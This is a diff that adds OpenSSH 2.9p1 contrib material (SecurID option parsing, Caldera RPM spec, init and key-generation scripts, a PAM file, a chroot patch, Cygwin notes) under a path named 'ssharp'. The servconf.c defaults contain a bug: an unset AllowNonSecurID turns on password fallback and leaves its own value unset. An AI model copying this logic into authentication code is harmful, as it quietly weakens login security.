+95,8 @@ + oBadOption, + oForwardAgent, oForwardX11, oGatewayPorts, oRhostsAuthentication, + oPasswordAuthentication, oRSAAuthentication, oFallBackToRsh, oUseRsh, ++ oSecurIDAuthentication, oSecurIDFallBack, ++ oAllowNonSecurID, oSecurIDUsersFile, oSecurIDIgnoreShell, + oChallengeResponseAuthentication, oXAuthLocation, + #ifdef KRB4 + oKerberosAuthentication, +@@ -126,6 +128,11 @@ + { "gatewayports", oGatewayPorts }, + { "useprivilegedport", oUsePrivilegedPort }, + { "rhostsauthentication", oRhostsAuthentication }, ++ { "securidauthentication", oSecurIDAuthentication }, ++ { "securidfallback", oSecurIDFallBack }, ++ { "allownonsecurid", oAllowNonSecurID }, ++ { "securidusersfile", oSecurIDUsersFile }, ++ { "securidignoreshell", oSecurIDIgnoreShell }, + { "passwordauthentication", oPasswordAuthentication }, + { "kbdinteractiveauthentication", oKbdInteractiveAuthentication }, + { "kbdinteractivedevices", oKbdInteractiveDevices }, +@@ -322,6 +329,21 @@ + case oRSAAuthentication: + intptr = &options->rsa_authentication; + goto parse_flag; ++ case oSecurIDAuthentication: ++ intptr = &options->securid_authentication; ++ goto parse_flag; ++ case oSecurIDFallBack: ++ intptr = &options->securid_fallback; ++ goto parse_flag; ++ case oAllowNonSecurID: ++ intptr = &options->allow_nonsecurid; ++ goto parse_flag; ++ case oSecurIDUsersFile: ++ charptr=&options->securid_usersfile; ++ goto parse_string; ++ case oSecurIDIgnoreShell: ++ intptr = &options->securid_ignore_shell; ++ goto parse_flag; + + case oRhostsRSAAuthentication: + intptr = &options->rhosts_rsa_authentication; +@@ -719,6 +741,11 @@ + options->rsa_authentication = -1; + options->pubkey_authentication = -1; + options->challenge_reponse_authentication = -1; ++ options->securid_authentication = -1; ++ options->securid_fallback = -1; ++ options->allow_nonsecurid = -1; ++ options->securid_usersfile = NULL; ++ options->securid_ignore_shell = -1; + #ifdef KRB4 + options->kerberos_authentication = -1; + #endif +@@ -773,6 +800,14 @@ + { + int len; + ++ if (options->securid_authentication == -1) ++ options->securid_authentication = 1; ++ if (options->securid_fallback == -1) ++ options->securid_fallback = 0; ++ if (options->allow_nonsecurid == -1) ++ options->allow_nonsecurid = 1; ++ if (options->securid_ignore_shell == -1) ++ options->securid_ignore_shell = 0; + if (options->forward_agent == -1) + options->forward_agent = 0; + if (options->forward_x11 == -1) +diff -ruN openssh-2.9p1-orig/readconf.h openssh-2.9p1/readconf.h +--- openssh-2.9p1-orig/readconf.h Wed Apr 18 04:11:37 2001 ++++ openssh-2.9p1/readconf.h Sun Apr 29 22:00:00 2001 +@@ -40,6 +40,11 @@ + int pubkey_authentication; /* Try ssh2 pubkey authentication. */ + int hostbased_authentication; /* ssh2's rhosts_rsa */ + int challenge_reponse_authentication; ++ int securid_authentication; /* Try SecurID authentication. */ ++ int securid_fallback; /* Allow fall back to normal password */ ++ int allow_nonsecurid; /* Allow non securid users logins */ ++ char *securid_usersfile; /* SecurID auth users in this file */ ++ int securid_ignore_shell; /* Ignore ACE propsed shell? */ + /* Try S/Key or TIS, authentication. */ + #ifdef KRB4 + int kerberos_authentication; /* Try Kerberos +diff -ruN openssh-2.9p1-orig/servconf.c openssh-2.9p1/servconf.c +--- openssh-2.9p1-orig/servconf.c Wed Apr 25 22:44:15 2001 ++++ openssh-2.9p1/servconf.c Sun Apr 29 22:00:00 2001 +@@ -70,6 +70,13 @@ + options->hostbased_uses_name_from_packet_only = -1; + options->rsa_authentication = -1; + options->pubkey_authentication = -1; ++#ifdef SECURID ++ options->securid_authentication = -1; ++ options->securid_fallback = -1; ++ options->allow_nonsecurid = -1; ++ options->securid_usersfile = NULL; ++ options->securid_ignore_shell = -1; ++#endif + #ifdef KRB4 + options->kerberos_authentication = -1; + options->kerberos_or_local_passwd = -1; +@@ -168,6 +175,16 @@ + options->rsa_authentication = 1; + if (options->pubkey_authentication == -1) + options->pubkey_authentication = 1; ++#ifdef SECURID ++ if (options->securid_authentication == -1) ++ options->securid_authentication = 1; ++ if (options->securid_fallback == -1) ++ options->securid_fallback = 0; ++ if (options->allow_nonsecurid == -1) ++ options->securid_fallback = 1; ++ if (options->securid_ignore_shell == -1) ++ options->securid_ignore_shell = 0; ++#endif + #ifdef KRB4 + if (options->kerberos_authentication == -1) + options->kerberos_authentication = (access(KEYFILE, R_OK) == 0); +@@ -218,6 +235,10 @@ + sPort, sHostKeyFile, sServerKeyBits, sLoginGraceTime, sKeyRegenerationTime, + sPermitRootLogin, sLogFacility, sLogLevel, + sRhostsAuthentication, sRhostsRSAAuthentication, sRSAAuthentication, ++#ifdef SECURID ++ sSecurIDAuthentication, sSecurIDFallBack, sAllowNonSecurID, ++ sSecurIDUsersFile, sSecurIDIgnoreShell, ++#endif + #ifdef KRB4 + sKerberosAuthentication, sKerberosOrLocalPasswd, sKerberosTicketCleanup, + #endif +@@ -252,6 +273,13 @@ + { "keyregenerationinterval", sKeyRegenerationTime }, + { "permitrootlogin", sPermitRootLogin }, + { "syslogfacility", sLogFacility }, ++#ifdef SECURID ++ { "securidauthentication", sSecurIDAuthentication }, ++ { "securidfallback", sSecurIDFallBack }, ++ { "allownonsecurid", sAllowNonSecurID }, ++ { "securidusersfile", sSecurIDUsersFile }, ++ { "securidignoreshell", sSecurIDIgnoreShell }, ++#endif + { "loglevel", sLogLevel }, + { "rhostsauthentication", sRhostsAuthentication }, + { "rhostsrsaauthentication", sRhostsRSAAuthentication }, +@@ -577,6 +605,23 @@ + + case sKerberosTicketCleanup: + intptr = &options->kerberos_ticket_cleanup; ++ goto parse_flag; ++#endif ++#ifdef SECURID ++ case sSecurIDAuthentication: ++ intptr = &options->securid_authentication; ++ goto parse_flag; ++ case sSecurIDFallBack: ++ intptr = &options->securid_fallback; ++ goto parse_flag; ++ case sAllowNonSecurID: ++ intptr = &options->allow_nonsecurid; ++ goto parse_flag; ++ case sSecurIDUsersFile: ++ charptr = &options->securid_usersfile; ++ goto parse_filename; ++ case sSecurIDIgnoreShell: ++ intptr = &options->securid_ignore_shell; + goto parse_flag; + #endif + +diff -ruN openssh-2.9p1-orig/servconf.h openssh-2.9p1/servconf.h +--- openssh-2.9p1-orig/servconf.h Wed Apr 25 22:44:16 2001 ++++ openssh-2.9p1/servconf.h Sun Apr 29 22:00:00 2001 +@@ -84,6 +84,19 @@ + int kerberos_ticket_cleanup; /* If true, destroy ticket + * file on logout. */ + #endif ++#ifdef SECURID ++ int securid_authentication; /* If set, use securid */ ++ int securid_fallback; /* If set, allow normal passwords ++ is master/slave are not accessible */ ++ int allow_nonsecurid; /* If set, allow nonsecurid users ++ logins via other means (e.g. PAM) */ ++ char *securid_usersfile; /* If set, only users in the file ++ will authenticate via SecurID ++ The shell need not be .../sdshell */ ++ int securid_ignore_shell; /* If true, use the shell in /etc/passwd ++ instead of the shell proposed by ++ the ACE server. */ ++#endif + #ifdef AFS + int kerberos_tgt_passing; /* If true, permit Kerberos tgt + * passing. */ +diff -ruN openssh-2.9p1-orig/sshd.0 openssh-2.9p1/sshd.0 +--- openssh-2.9p1-orig/sshd.0 Sun Apr 29 21:49:49 2001 ++++ openssh-2.9p1/sshd.0 Sun Apr 29 22:00:50 2001 +@@ -186,6 +186,16 @@ + Only group names are valid; a numerical group ID isn't recogM-- + nized. By default login is allowed regardless of the group list. + ++ AllowNonSecurID ++ This will allow users that do not meet the SecurID login activaM-- ++ tion requirements (not in the SecurIDUsersFile or do not have a ++ shell ending with sdshell, if the SecurIDUsersFile option is used ++ or is omitted, respectively) to still log in using another auM-- ++ thentication method (e.g. PAM or passwd.) ++ ++ ++ ++ + AllowTcpForwarding + Specifies whether TCP forwarding is permitted. The default is + ``yes''. Note that disabling TCP forwarding does not improve seM-- +@@ -315,6 +325,8 @@ + is yes, the password provided by the user will be validated + through the Kerberos KDC. To use this option, the server needs a + Kerberos servtab which allows the verification of the KDC's idenM-- ++ ++ + tity. Default is ``yes''. + + KerberosOrLocalPasswd +@@ -325,8 +337,6 @@ + KerberosTgtPassing + Specifies whether a Kerberos TGT may be forwarded to the server. + Default is ``no'', as this only works when the Kerberos KDC is +- +- + actually an AFS kaserver. + + KerberosTicketCleanup +@@ -393,7 +403,6 @@ + lowed. This allows the use of most PAM challenge response authenM-- + tication modules, but it will allow password authentication reM-- + gardless of whether PasswordAuthentication is disabled. The deM-- +- + fault is ``no''. + + PasswordAuthentication +@@ -523,8 +532,6 @@ + 1. If the login is on a tty, and no command has been specified, + prints last login time and /etc/motd (unless prevented in the + configuration file or by $HOME/.hushlogin; see the FILES secM-- +- +- + tion). + + 2. If the login is on a tty, records login time. +@@ -650,6 +657,7 @@ + Each line in these files contains the following fields: hostnames, bits, + exponent, modulus, comment. The fields are separated by spaces. + ++ + Hostnames is a comma-separated list of patterns ('*' and '?' act as wildM-- + cards); each pattern in turn is matched against the canonical host name + (when authenticating a client) or against the user-supplied name (when +@@ -657,7 +665,6 @@ + cate negation: if the host name matches a negated pattern, it is not acM-- + cepted (by that line) even if it matched another pattern on the line. + +- + Bits, exponent, and modulus are taken directly from the RSA host key; + they can be obtained, e.g., from /etc/ssh_host_key.pub. The optional comM-- + ment field continues to the end of the line, and is not used. +@@ -853,7 +860,6 @@ + SEE ALSO + scp(1), sftp(1), sftp-server(8), ssh(1), ssh-add(1), ssh-agent(1), + ssh-keygen(1), rlogin(1), rsh(1) +- + + T. Ylonen, T. Kivinen, M. Saarinen, T. Rinne, and S. Lehtinen, SSH + Protocol Architecture, draft-ietf-secsh-architecture-07.txt, January +diff -ruN openssh-2.9p1-orig/sshd.8 openssh-2.9p1/sshd.8 +--- openssh-2.9p1-orig/sshd.8 Wed Apr 25 22:44:16 2001 ++++ openssh-2.9p1/sshd.8 Sun Apr 29 22:00:00 2001 +@@ -310,6 +310,13 @@ + Only group names are valid; a numerical group ID isn't recognized. + By default login is allowed regardless of the group list. + .Pp ++.It Cm AllowNonSecurID ++This will allow users that do not meet the SecurID login ++activation requirements (not in the SecurIDUsersFile or do not ++have a shell ending with sdshell, if the SecurIDUsersFile option ++is used or is omitted, respectively) to still log in using another ++authentication method (e.g. PAM or passwd.) ++.Pp + .It Cm AllowTcpForwarding + Specifies whether TCP forwarding is permitted. + The default is diff --git a/other/ssharp/contrib/caldera/CVS/Entries b/other/ssharp/contrib/caldera/CVS/Entries new file mode 100644 index 0000000..f0b2bea --- /dev/null +++ b/other/ssharp/contrib/caldera/CVS/Entries @@ -0,0 +1,5 @@ +/openssh.spec/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-host-keygen/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.init/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.pam/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D diff --git a/other/ssharp/contrib/caldera/CVS/Repository b/other/ssharp/contrib/caldera/CVS/Repository new file mode 100644 index 0000000..135d5a7 --- /dev/null +++ b/other/ssharp/contrib/caldera/CVS/Repository @@ -0,0 +1 @@ +ssharp/contrib/caldera diff --git a/other/ssharp/contrib/caldera/CVS/Root b/other/ssharp/contrib/caldera/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/contrib/caldera/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/contrib/caldera/CVS/Tag b/other/ssharp/contrib/caldera/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/contrib/caldera/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/contrib/caldera/openssh.spec b/other/ssharp/contrib/caldera/openssh.spec new file mode 100644 index 0000000..6bb44ec --- /dev/null +++ b/other/ssharp/contrib/caldera/openssh.spec @@ -0,0 +1,281 @@ +%define askpass 1.2.0 + +Name : openssh +Version : 2.9p1 +Release : 1 +Group : System/Network + +Summary : OpenSSH free Secure Shell (SSH) implementation. +Summary(de) : OpenSSH - freie Implementation der Secure Shell (SSH). +Summary(es) : OpenSSH implementación libre de Secure Shell (SSH). +Summary(fr) : Implémentation libre du shell sécurisé OpenSSH (SSH). +Summary(it) : Implementazione gratuita OpenSSH della Secure Shell. +Summary(pt) : Implementação livre OpenSSH do protocolo 'Secure Shell' (SSH). + +Copyright : BSD +Packager : Stephan Seyboth +#Icon : . +URL : http://www.openssh.com/ + +Obsoletes : ssh, ssh-clients, openssh-clients + +BuildRoot : /tmp/%{Name}-%{Version} + +Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{Version}.tar.gz +Source1: http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/x11-ssh-askpass-%{askpass}.tar.gz + + +%Package server +Group : System/Network +Requires : openssh = %{Version} +Obsoletes : ssh-server + +Summary : OpenSSH Secure Shell protocol server (sshd). +Summary(de) : OpenSSH Secure Shell Protocol Server (sshd). +Summary(es) : Servidor del protocolo OpenSSH Secure Shell (sshd). +Summary(fr) : Serveur de protocole du shell sécurisé OpenSSH (sshd). +Summary(it) : Server OpenSSH per il protocollo Secure Shell (sshd). +Summary(pt) : Servidor do protocolo 'Secure Shell' OpenSSH (sshd). + + +%Package askpass +Group : System/Network +Requires : openssh = %{Version} +Obsoletes : ssh-extras + +Summary : OpenSSH X11 pass-phrase dialog. +Summary(de) : OpenSSH X11 Passwort-Dialog. +Summary(es) : Aplicación de petición de frase clave OpenSSH X11. +Summary(fr) : Dialogue pass-phrase X11 d'OpenSSH. +Summary(it) : Finestra di dialogo X11 per la frase segreta di OpenSSH. +Summary(pt) : Diálogo de pedido de senha para X11 do OpenSSH. + + +%Description +OpenSSH (Secure Shell) provides access to a remote system. It replaces +telnet, rlogin, rexec, and rsh, and provides secure encrypted +communications between two untrusted hosts over an insecure network. +X11 connections and arbitrary TCP/IP ports can also be forwarded over +the secure channel. + +%Description -l de +OpenSSH (Secure Shell) stellt den Zugang zu anderen Rechnern her. Es ersetzt +telnet, rlogin, rexec und rsh und stellt eine sichere, verschlüsselte +Verbindung zwischen zwei nicht vertrauenswürdigen Hosts über eine unsicheres +Netzwerk her. X11 Verbindungen und beliebige andere TCP/IP Ports können ebenso +über den sicheren Channel weitergeleitet werden. + +%Description -l es +OpenSSH (Secure Shell) proporciona acceso a sistemas remotos. Reemplaza a +telnet, rlogin, rexec, y rsh, y proporciona comunicaciones seguras encriptadas +entre dos equipos entre los que no se ha establecido confianza a través de una +red insegura. Las conexiones X11 y puertos TCP/IP arbitrarios también pueden +ser canalizadas sobre el canal seguro. + +%Description -l fr +OpenSSH (Secure Shell) fournit un accès à un système distant. Il remplace +telnet, rlogin, rexec et rsh, tout en assurant des communications cryptées +securisées entre deux hôtes non fiabilisés sur un réseau non sécurisé. Des +connexions X11 et des ports TCP/IP arbitraires peuvent également être +transmis sur le canal sécurisé. + +%Description -l it +OpenSSH (Secure Shell) fornisce l'accesso ad un sistema remoto. +Sostituisce telnet, rlogin, rexec, e rsh, e fornisce comunicazioni sicure +e crittate tra due host non fidati su una rete non sicura. Le connessioni +X11 ad una porta TCP/IP arbitraria possono essere inoltrate attraverso +un canale sicuro. + +%Description -l pt +OpenSSH (Secure Shell) fornece acesso a um sistema remoto. Substitui o +telnet, rlogin, rexec, e o rsh e fornece comunicações seguras e cifradas +entre duas máquinas sem confiança mútua sobre uma rede insegura. +Ligações X11 e portos TCP/IP arbitrários também poder ser reenviados +pelos porto seguro. + +%Description server +This package installs the sshd, the server portion of OpenSSH. + +%Description -l de server +Dieses Paket installiert den sshd, den Server-Teil der OpenSSH. + +%Description -l es server +Este paquete instala sshd, la parte servidor de OpenSSH. + +%Description -l fr server +Ce paquetage installe le 'sshd', partie serveur de OpenSSH. + +%Description -l it server +Questo pacchetto installa sshd, il server di OpenSSH. + +%Description -l pt server +Este pacote intala o sshd, o servidor do OpenSSH. + +%Description askpass +This package contains an X11-based passphrase dialog. + +%Description -l de askpass +Dieses Paket enthält einen X11-basierten Passwort Dialog. + +%Description -l es askpass +Este paquete contiene una aplicación para petición de frases-contraseña basada +en X11. + +%Description -l fr askpass +Ce paquetage contient un dialogue de passphrase basé sur X11. + +%Description -l it askpass +Questo pacchetto contiene una finestra di X11 che chiede la frase segreta. + +%Description -l pt askpass +Este pacote contém um diálogo de senha para o X11. + +%Prep +%setup +%setup -D -T -a1 + + +%Build +CFLAGS="$RPM_OPT_FLAGS" \ +./configure \ + --prefix=/usr \ + --sysconfdir=/etc/ssh \ + --libexecdir=/usr/lib/ssh \ + --with-pam \ + --with-tcp-wrappers \ + --with-ipv4-default \ + +make + +cd x11-ssh-askpass-%{askpass} +xmkmf -a +make + + +%Install +%{mkDESTDIR} + +make DESTDIR="$DESTDIR" install + +make -C x11-ssh-askpass-%{askpass} DESTDIR="$DESTDIR" \ + BINDIR="/usr/lib/ssh" install + +%{fixManPages} + +# install remaining docs +NV="$DESTDIR%{_defaultdocdir}/%{Name}-%{Version}" +mkdir -p $NV +cp -a CREDITS ChangeLog LICENCE OVERVIEW README* TODO $NV +mkdir -p $NV/x11-ssh-askpass-%{askpass} +cp -a x11-ssh-askpass-%{askpass}/{README,ChangeLog,SshAskpass*.ad} \ + $NV/x11-ssh-askpass-%{askpass} + + +# OpenLinux specific configuration +mkdir -p $DESTDIR/{etc/pam.d,%{SVIcdir},%{SVIdir}} + +# enabling X11 forwarding on the server is convenient and okay, +# on the client side it's a potential security risk! +%{fixUP} -vg $DESTDIR/etc/ssh/sshd_config 'X11Forwarding no' \ + 'X11Forwarding yes' + +install -m644 contrib/caldera/sshd.pam $DESTDIR/etc/pam.d/sshd +# FIXME: disabled, find out why this doesn't work with nis +%{fixUP} -vg $DESTDIR/etc/pam.d/sshd '(.*pam_limits.*)' '#$1' + +install -m 0755 contrib/caldera/sshd.init $DESTDIR%{SVIdir}/sshd +%{fixUP} -T $DESTDIR/%{SVIdir} -e 's:\@SVIdir\@:%{SVIdir}:' +%{fixUP} -T $DESTDIR/%{SVIdir} -e 's:\@sysconfdir\@:/etc/ssh:' + +cat <<-EoD > $DESTDIR%{SVIcdir}/sshd + IDENT=sshd + DESCRIPTIVE="OpenSSH secure shell daemon" + # This service will be marked as 'skipped' on boot if there + # is no host key. Use ssh-host-keygen to generate one + ONBOOT="yes" + OPTIONS="" +EoD + +SKG=$DESTDIR/usr/sbin/ssh-host-keygen +install -m 0755 contrib/caldera/ssh-host-keygen $SKG +%{fixUP} -T $SKG -e 's:\@sysconfdir\@:/etc/ssh:' +%{fixUP} -T $SKG -e 's:\@sshkeygen\@:/usr/bin/ssh-keygen:' + + +# generate file lists +%{mkLists} -c %{Name} +%{mkLists} -d %{Name} << 'EOF' +/etc/ssh base +^/etc/ IGNORED +%{_defaultdocdir}/$ IGNORED +askpass askpass +* default +EOF +%{mkLists} -a -f %{Name} << 'EOF' +^/etc * prefix(%%config) +/usr/X11R6/lib/X11/app-defaults IGNORED +[Aa]skpass askpass +%{_defaultdocdir}/%{Name}-%{Version}/ base +ssh-keygen base +sshd server +sftp-server server +.* base +EOF + + +%Clean +%{rmDESTDIR} + + +%Post +# Generate host key when none is present to get up and running, +# both client and server require this for host-based auth! +# ssh-host-keygen checks for existing keys. +/usr/sbin/ssh-host-keygen +: # to protect the rpm database + + +%Post server +if [ -x %{LSBinit}-install ]; then + %{LSBinit}-install sshd +else + lisa --SysV-init install sshd S55 3:4:5 K45 0:1:2:6 +fi + +! %{SVIdir}/sshd status || %{SVIdir}/sshd restart +: # to protect the rpm database + + +%PreUn server +[ "$1" = 0 ] || exit 0 + +! %{SVIdir}/sshd status || %{SVIdir}/sshd stop +: # to protect the rpm database + + +%PostUn server +if [ -x %{LSBinit}-remove ]; then + %{LSBinit}-remove sshd +else + lisa --SysV-init remove sshd $1 +fi +: # to protect the rpm database + + +%Files -f files-%{Name}-base +%defattr(-,root,root) + + +%Files server -f files-%{Name}-server +%defattr(-,root,root) + + +%Files askpass -f files-%{Name}-askpass +%defattr(-,root,root) + + +%ChangeLog +* Mon Jan 01 1998 ... +Template Version: 1.31 + +$Id: openssh.spec,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ diff --git a/other/ssharp/contrib/caldera/ssh-host-keygen b/other/ssharp/contrib/caldera/ssh-host-keygen new file mode 100755 index 0000000..cfb20ca --- /dev/null +++ b/other/ssharp/contrib/caldera/ssh-host-keygen @@ -0,0 +1,36 @@ +#! /bin/sh +# +# $Id: ssh-host-keygen,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ +# +# This script is normally run only *once* for a given host +# (in a given period of time) -- on updates/upgrades/recovery +# the ssh_host_key* files _should_ be retained! Otherwise false +# "man-in-the-middle-attack" alerts will frighten unsuspecting +# clients... + +keydir=@sysconfdir@ +keygen=@sshkeygen@ + +if [ -f $keydir/ssh_host_key -o \ + -f $keydir/ssh_host_key.pub ]; then + echo "You already have an SSH1 RSA host key in $keydir/ssh_host_key." +else + echo "Generating 1024 bit SSH1 RSA host key." + $keygen -b 1024 -t rsa1 -f $keydir/ssh_host_key -C '' -N '' +fi + +if [ -f $keydir/ssh_host_rsa_key -o \ + -f $keydir/ssh_host_rsa_key.pub ]; then + echo "You already have an SSH2 RSA host key in $keydir/ssh_host_rsa_key." +else + echo "Generating 1024 bit SSH2 RSA host key." + $keygen -b 1024 -t rsa -f $keydir/ssh_host_rsa_key -C '' -N '' +fi + +if [ -f $keydir/ssh_host_dsa_key -o \ + -f $keydir/ssh_host_dsa_key.pub ]; then + echo "You already have an SSH2 DSA host key in $keydir/ssh_host_dsa_key." +else + echo "Generating SSH2 DSA host key." + $keygen -t dsa -f $keydir/ssh_host_dsa_key -C '' -N '' +fi diff --git a/other/ssharp/contrib/caldera/sshd.init b/other/ssharp/contrib/caldera/sshd.init new file mode 100755 index 0000000..1d5c1a7 --- /dev/null +++ b/other/ssharp/contrib/caldera/sshd.init @@ -0,0 +1,125 @@ +#! /bin/bash +# +# $Id: sshd.init,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ +# +### BEGIN INIT INFO +# Provides: +# Required-Start: $network +# Required-Stop: +# Default-Start: 3 4 5 +# Default-Stop: 0 1 2 6 +# Description: sshd +# Bring up/down the OpenSSH secure shell daemon. +### END INIT INFO +# +# Written by Miquel van Smoorenburg . +# Modified for Debian GNU/Linux by Ian Murdock . +# Modified for OpenLinux by Raymund Will + +NAME=sshd +DAEMON=/usr/sbin/$NAME +# Hack-Alert(TM)! This is necessary to get around the 'reload'-problem +# created by recent OpenSSH daemon/ssd combinations. See Caldera internal +# PR [linux/8278] for details... +PIDF=/var/run/$NAME.pid +NAME=$DAEMON + +_status() { + [ -z "$1" ] || local pidf="$1" + local ret=-1 + local pid + if [ -n "$pidf" ] && [ -r "$pidf" ]; then + pid=$(head -1 $pidf) + else + pid=$(pidof $NAME) + fi + + if [ ! -e $SVIlock ]; then + # no lock-file => not started == stopped? + ret=3 + elif { [ -n "$pidf" ] && [ ! -f "$pidf" ] } || [ -z "$pid" ]; then + # pid-file given but not present or no pid => died, but was not stopped + ret=2 + elif [ -r /proc/$pid/cmdline ] && + echo -ne $NAME'\000' | cmp -s - /proc/$pid/cmdline; then + # pid-file given and present or pid found => check process... + # but don't compare exe, as this will fail after an update! + # compares OK => all's well, that ends well... + ret=0 + else + # no such process or exe does not match => stale pid-file or process died + # just recently... + ret=1 + fi + return $ret +} + +# Source function library (and set vital variables). +. @SVIdir@/functions + +case "$1" in + start) + [ ! -e $SVIlock ] || exit 0 + [ -x $DAEMON ] || exit 5 + SVIemptyConfig @sysconfdir@/sshd_config && exit 6 + + if [ ! \( -f @sysconfdir@/ssh_host_key -a \ + -f @sysconfdir@/ssh_host_key.pub \) -a \ + ! \( -f @sysconfdir@/ssh_host_rsa_key -a \ + -f @sysconfdir@/ssh_host_rsa_key.pub \) -a \ + ! \( -f @sysconfdir@/ssh_host_dsa_key -a \ + -f @sysconfdir@/ssh_host_dsa_key.pub \) ]; then + + echo "$SVIsubsys: host key not initialized: skipped!" + echo "$SVIsubsys: use ssh-host-keygen to generate one!" + exit 6 + fi + + echo -n "Starting $SVIsubsys services: " + ssd -S -x $DAEMON -n $NAME -- $OPTIONS + ret=$? + + echo "." + touch $SVIlock + ;; + + stop) + [ -e $SVIlock ] || exit 0 + + echo -n "Stopping $SVIsubsys services: " + ssd -K -p $PIDF -n $NAME + ret=$? + + echo "." + rm -f $SVIlock + ;; + + force-reload|reload) + [ -e $SVIlock ] || exit 0 + + echo "Reloading $SVIsubsys configuration files: " + ssd -K --signal 1 -q -p $PIDF -n $NAME + ret=$? + echo "done." + ;; + + restart) + $0 stop + $0 start + ret=$? + ;; + + status) + _status $PIDF + ret=$? + ;; + + *) + echo "Usage: $SVIscript {[re]start|stop|[force-]reload|status}" + ret=2 + ;; + +esac + +exit $ret + diff --git a/other/ssharp/contrib/caldera/sshd.pam b/other/ssharp/contrib/caldera/sshd.pam new file mode 100644 index 0000000..26dcb34 --- /dev/null +++ b/other/ssharp/contrib/caldera/sshd.pam @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_pwdb.so shadow nodelay +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_pwdb.so +password required /lib/security/pam_cracklib.so +password required /lib/security/pam_pwdb.so shadow nullok use_authtok +session required /lib/security/pam_pwdb.so +session required /lib/security/pam_limits.so diff --git a/other/ssharp/contrib/chroot.diff b/other/ssharp/contrib/chroot.diff new file mode 100644 index 0000000..2e9140f --- /dev/null +++ b/other/ssharp/contrib/chroot.diff @@ -0,0 +1,63 @@ +From: Ricardo Cerqueira + +A patch to cause sshd to chroot when it encounters the magic token +'/./' in a users home directory. The directory portion before the +token is the directory to chroot() to, the portion after the +token is the user's home directory relative to the new root. + +To apply, execute the following command from the OpenSSH source directory: + +patch -p0 < contrib/chroot.diff + + +--- session.c Thu Mar 22 01:58:27 2001 ++++ session.c.chroot Thu Apr 5 12:33:23 2001 +@@ -93,6 +93,8 @@ + # include + #endif + ++#define CHROOT ++ + /* types */ + + #define TTYSZ 64 +@@ -1012,6 +1014,11 @@ + extern char **environ; + struct stat st; + char *argv[10]; ++#ifdef CHROOT ++ char *user_dir; ++ char *new_root; ++#endif /* CHROOT */ ++ + int do_xauth = s->auth_proto != NULL && s->auth_data != NULL; + #ifdef WITH_IRIX_PROJECT + prid_t projid; +@@ -1095,6 +1102,27 @@ + exit(1); + } + endgrent(); ++ ++#ifdef CHROOT ++ user_dir = xstrdup(pw->pw_dir); ++ new_root = user_dir + 1; ++ ++ while((new_root = strchr(new_root, '.')) != NULL) { ++ new_root--; ++ if(strncmp(new_root, "/./", 3) == 0) { ++ *new_root = '\0'; ++ new_root += 2; ++ ++ if(chroot(user_dir) != 0) ++ fatal("Couldn't chroot to user directory %s", user_dir); ++ ++ pw->pw_dir = new_root; ++ break; ++ } ++ new_root += 2; ++ } ++#endif /* CHROOT */ ++ + # ifdef WITH_IRIX_JOBS + jid = jlimit_startjob(pw->pw_name, pw->pw_uid, "interactive"); + if (jid == -1) { diff --git a/other/ssharp/contrib/cygwin/CVS/Entries b/other/ssharp/contrib/cygwin/CVS/Entries new file mode 100644 index 0000000..25c4b15 --- /dev/null +++ b/other/ssharp/contrib/cygwin/CVS/Entries @@ -0,0 +1,4 @@ +/README/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-host-config/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-user-config/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D diff --git a/other/ssharp/contrib/cygwin/CVS/Repository b/other/ssharp/contrib/cygwin/CVS/Repository new file mode 100644 index 0000000..c96da7a --- /dev/null +++ b/other/ssharp/contrib/cygwin/CVS/Repository @@ -0,0 +1 @@ +ssharp/contrib/cygwin diff --git a/other/ssharp/contrib/cygwin/CVS/Root b/other/ssharp/contrib/cygwin/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/contrib/cygwin/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/contrib/cygwin/CVS/Tag b/other/ssharp/contrib/cygwin/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/contrib/cygwin/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/contrib/cygwin/README b/other/ssharp/contrib/cygwin/README new file mode 100644 index 0000000..798e5d6 --- /dev/null +++ b/other/ssharp/contrib/cygwin/README @@ -0,0 +1,163 @@ +This package is the actual port of OpenSSH to Cygwin 1.1. + +=========================================================================== +Important change since 2.3.0p1: + +When using `ntea' or `ntsec' you now have to care for the ownership +and permission bits of your host key files and your private key files. +The host key files have to be owned by the NT account which starts +sshd. The user key files have to be owned by the user. The permission +bits of the private key files (host and user) have to be at least +rw------- (0600)! + +Note that this is forced under `ntsec' only if the files are on a NTFS +filesystem (which is recommended) due to the lack of any basic security +features of the FAT/FAT32 filesystems. +=========================================================================== + +If you are installing OpenSSH the first time, you can generate global config +files and server keys by running + + /usr/bin/ssh-host-config + +Note that this binary archive doesn't contain default config files in /etc. +That files are only created if ssh-host-config is started. + +If you are updating your installation you may run the above ssh-host-config +as well to move your configuration files to the new location and to +erase the files at the old location. + +To support testing and unattended installation ssh-host-config got +some options: + +usage: ssh-host-config [OPTION]... +Options: + --debug -d Enable shell's debug output. + --yes -y Answer all questions with "yes" automatically. + --no -n Answer all questions with "no" automatically. + --port -p sshd listens on port n. + +You can create the private and public keys for a user now by running + + /usr/bin/ssh-user-config + +under the users account. + +To support testing and unattended installation ssh-user-config got +some options as well: + +usage: ssh-user-config [OPTION]... +Options: + --debug -d Enable shell's debug output. + --yes -y Answer all questions with "yes" automatically. + --no -n Answer all questions with "no" 